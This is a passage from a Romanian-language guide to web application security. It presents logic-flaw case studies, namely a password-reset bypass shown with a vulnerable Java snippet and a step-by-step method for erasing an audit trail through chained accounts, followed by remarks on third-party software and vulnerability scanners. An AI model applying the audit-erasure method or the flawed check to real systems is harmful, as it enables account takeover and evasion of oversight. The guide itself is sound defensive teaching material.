Defectele logice sunt greu de explicat, definit și învățat prin teorie, astfel că în cele ce urmează sunt prezentate câteva exemple concrete.

9.1. Ocolirea funcției pentru schimbarea parolei

Această eroare de logică a fost descoperită într-o aplicație web utilizată de către o societate de servicii financiare.

Funcționalitatea: aplicația constă într-o funcție pentru schimbarea parolei de către utilizatorii finali în care trebuiau completate câmpurile: nume, parola actuală, noua parolă și confirmarea noii parole. De asemenea, venea cu o funcție care permitea schimbarea parolei de către administratori, prin care aceștia puteau schimba parola oricărui utilizator fără a li se cere să introducă vechea parolă. Cele două funcții au fost puse în aplicare în cadrul aceluiași script pe partea serverului.

Presupunerea: Interfețele afișate clienților și administratorilor difereau într-un singur aspect, acela că cea afișată administratorului nu avea câmpul pentru introducerea vechii parole. Așadar, când serverul procesa o schimbare de parolă utiliza prezența sau absența vechii parole pentru a determina dacă cererea a fost făcută de un administrator sau de un utilizator obișnuit. Cu alte cuvinte, eroarea logică a constat în faptul că programatorii au presupus că utilizatorii obișnuiți vor furniza întotdeauna vechea parolă.

```
String existingPassword = request.getParameter ("existingPassword");
if (null == existingPassword)
{
    trace("Old password not supplied, must be an administrator");
    return true;
}
else
{
    Trace("Verifying user's old password");
    ....
}
```

Atacul: Odată ce ipoteza a fost formulată în mod explicit în acest mod, eroarea logică devine evidentă, din moment ce utilizatorii controlează fiecare aspect al cererilor pe care le emit, astfel pot alege să completeze sau nu câmpul care cere vechea parolă. Acest defect logic s-a dovedit a fi devastator pentru aplicație, deoarece permitea unui atacator să reseteze parola oricărui alt utilizator preluând, astfel, controlul asupra contului acestuia.

9.2. Ștergerea unei piste de audit

Acest defect logic a fost descoperit într-un centru de telefonie.

Funcționalitatea: aplicația a implementat diverse funcții care permiteau personalului de la biroul de asistență și administratorilor să gestioneze o bază de date de mari dimensiuni. Multe din aceste funcții se refereau la informații securizate, inclusiv crearea de conturi și schimbarea de parole, așadar aplicația a menținut o gestiune completă de audit, înregistrând fiecare acțiune efectuată și identitatea utilizatorului responsabil de acea acțiune. Aplicația includea o funcție care le permitea administratorilor să ștergă anumite înregistrări de audit, însă pentru a evita exploatarea în scopuri rău-voitoare, orice utilizare a funcției de ștergere era la rândul ei înregistrată.

Presupunerea: designerii aplicației au crezut că nimeni nu poate șterge înregistrările de audit fără a lăsa măcar o urmă (această presupunere a fost testată de către administratorii lor, întotdeauna rămânând ultima înregistrare a persoanei care a șters datele).

Atacul: presupunerea designerilor a fost greșită, existând o cale de a accesa datele, a produce modificări asupra lor și de a șterge urmele în întregime. Pașii erau următorii:

- Autentificarea cu contul propriu, și crearea un nou cont de utilizator;
- Atribuirea tuturor privilegiilor noului cont;
- Utilizarea noului cont pentru a duce la îndeplinire atacul;
- Utilizarea unui nou cont pentru a șterge toate înregistrările generate de primele trei etape.

Fiecare din acțiuni generează înregistrări în jurnalul de audit, dar pentru că în ultima fază ultimul cont șterge toate datele legate de intrările precedente, în jurnalul de audit este indicat doar faptul că ce-l de-al doilea cont nou creat a șters toate datele. Deoarece cel care i-a dat privilegiile celui de-al doilea cont nou creat este primul cont nou creat, și cum înregistrările legate de cine a creat acest cont au fost șterse, nu există nimic care să poată lega identitatea persoanei care deține contul care a dus la capăt atacul, de contul inițial al persoanei care a pornit atacul.

Nu există o rețetă perfectă pentru evitarea erorilor logice, ci doar o serie de bune practici care pot ajuta în acest sens, între care se regăsesc:

- a) Documentați toate aspectele legate de designul aplicației suficient de detaliat pentru a putea fi ușor înțelese de cineva din exterior
- b) Lăsați comentarii în codul sursă care să includă următoarele informații:
 - Scopul și funcționalitatea fiecărei porțiuni de cod;
 - Presupunerile făcute de fiecare componentă în legătură cu elementele care nu se află direct sub controlul ei;
 - Adăugați comentarii pentru fiecare porțiune de cod care să facă trimitere la toate componentele

care folosesc acel cod.

c) În timpul recenziilor de securitate referitoare la cod, plecați de la ideea pe care a avut-o designerul și mergeți înspre modul în care ar putea influența utilizatorii aplicația.

d) În timpul verificării de securitate, puneți accent pe modul în care se comportă aplicația în momentul în care sunt introduse date eronate și efectele produse asupra dependențelor și interoperabilităților dintre diversele componente ale codului.

10. Software vulnerabil din partea altor producători

Când vine vorba de aplicații care provin de la diferite companii, majoritatea designerilor și proprietarilor de aplicații web presupun că acestea sunt sigure și nu le mai testează înainte de implementare ceea ce poate duce la breșe grave de securitate ale aplicației web. Multe aplicații web provenite din terțe părți sunt nesigure și de multe ori acestea vin cu un nume de utilizator și parolă implicit.

Aceasta este o breșă gravă de securitate deoarece, dat fiind faptul că o parolă de administrare "default" ghicită poate oferi acces la multiple opțiuni de configurare ale aplicației inclusiv la toate datele stocate în baza de date. Așadar parolele și conturile implicite trebuie întotdeauna schimbate. De asemenea, aplicațiile web, provenite din terțe surse, pot fi vulnerabile la toate atacurile specifice aplicațiilor web în general (XSS, SQL injection, etc.)

Pentru a vă proteja de breșe de securitate, oricând adăugați un nou software aplicației web a dumneavoastră, nu faceți presupuneri că sunt sigure sau că au fost testate amănunțit, înainte de a fi scoase pe piață și toate problemele rezolvate, ci testați-le dumneavoastră cât puteți de amănunțit, pentru a vă asigura că nu veți avea probleme mai târziu. O eroare apărută într-un program vă poate pune în pericol întreaga aplicație web.

Un raport al companiei Verizon pentru anul 2011 cu privire la investigarea furturilor de date arată că:

- 66% din aplicațiile făcute de industria de software prezintă un nivel inacceptabil de scăzut al securității la eliberarea pe piață;
- 72% din produsele dedicate securității și programele de service au o calitate a securității inacceptabilă: cele mai grave probleme au fost descoperite la programele de asistență pentru clienți (82% inacceptabile), urmate de programele de securitate (72%);
- Dezvoltatorii au nevoie de mai mult training în legătură cu securitatea programelor: mai mult de jumătate din dezvoltatorii care au dat examenul de principii de bază ale securității aplicațiilor au luat 5 sau mai puțin;
- Între programele publice și cele private ale furnizorilor de software s-au găsit foarte puține diferențe;

- Industria de software se mișcă rapid pentru a remedia erorile: 90% din programe au atins nivele acceptabile de securitate în 30 de zile de la lansarea pe piață;
- Vulnerabilitatea la injecțiile cu cod SQL scade încet;
- Construirea de software bine securizat nu trebuie să consume mult timp.

Nu există nici o aplicație care este 100% lipsită de vulnerabilități, însă puteți încerca să reduceți cât mai mult aceste probleme, dar acest lucru nu se va întâmpla decât dacă testați amănunțit întreaga aplicație web pentru a descoperi punctele ei slabe și a încerca să le remediați. Nu faceți presupuneri când este vorba de securitate.

11. Detectarea vulnerabilităților specifice aplicațiilor web

Plaja de vulnerabilități specifice aplicațiilor web este foarte vastă, cele prezentate în cadrul acestui ghid fiind totuși cel mai des întâlnite. După cum am mai menționat, tehnicile prezentate sunt simpliste, dar scopul acestui ghid este de a oferi noțiunile generale despre problemele aplicațiilor web.

O etapă esențială pentru orice dezvoltator de aplicații web este identificarea acestor vulnerabilități și tratarea acestora corespunzător. În acest sens, există numeroase instrumente software automate pentru detectarea vulnerabilităților, care, de cele mai multe ori, dau și recomandări pentru rezolvarea problemelor identificate.

Scanarea vulnerabilităților este o etapă de bază, ce trebuie realizată înainte de punerea în producție a oricărei aplicații web.

NESSUS este un scanner de vulnerabilități ce cuprinde și modul specific aplicațiilor web. Așadar o scanare cu această unealtă poate identifica și vulnerabilitățile de la nivelul rețelei interne. Scannerul poate fi folosit și de către administratorii de rețea, pentru identificarea resurselor interne (echipamente etc.) ale unui LAN. Acesta va identifica echipamentele din cadrul rețelei alături de lista vulnerabilităților specifice pentru fiecare.

Nessus are și o variantă free și poate fi descărcat de la adresa <http://www.tenable.com/products/nessus>.

OpenVas este altă aplicație de management al vulnerabilităților. Aceasta este opensource și se trage din vechea versiunea gratuită a NESSUS (înainte de a fi cumparat de Tenable). Produsul poate fi descărcat de la adresa <http://www.openvas.org/>

Dacă se consideră că o versiune gratuită nu este de ajuns, sunt disponibile și unelte comerciale de scanare, specifice mediului web, precum HP WEB Inspect sau Acunetix.

Bibliografie

Acest material a fost realizat prin documentare din următoarele surse:

1. OWASP Top 10 Most Critical Web Application Security Risks, disponibil la https://www.owasp.org/index.php/Top_10

2. OWASP Application Security Verification Standard 2009, disponibil la [https://www.owasp.org/images/4/4e/OWASP ASVS 2009 Web App Std Release.pdf](https://www.owasp.org/images/4/4e/OWASP_ASVS_2009_Web_App_Std_Release.pdf)

3. TrustWave Global Security Report 2011, disponibil la [https://www.trustwave.com/downloads/Trustwave WP Global Security Report 2011.pdf?u=6JY2rq4LWNktaCGRVZPjTn1SL1A3Pj3Apv8WGjZV5TcRZa96rB6W2nPb5grXHUYewwA mZ0pb0296kKCaL8hXEt9T6](https://www.trustwave.com/downloads/Trustwave_WP_Global_Security_Report_2011.pdf?u=6JY2rq4LWNktaCGRVZPjTn1SL1A3Pj3Apv8WGjZV5TcRZa96rB6W2nPb5grXHUYewwA mZ0pb0296kKCaL8hXEt9T6)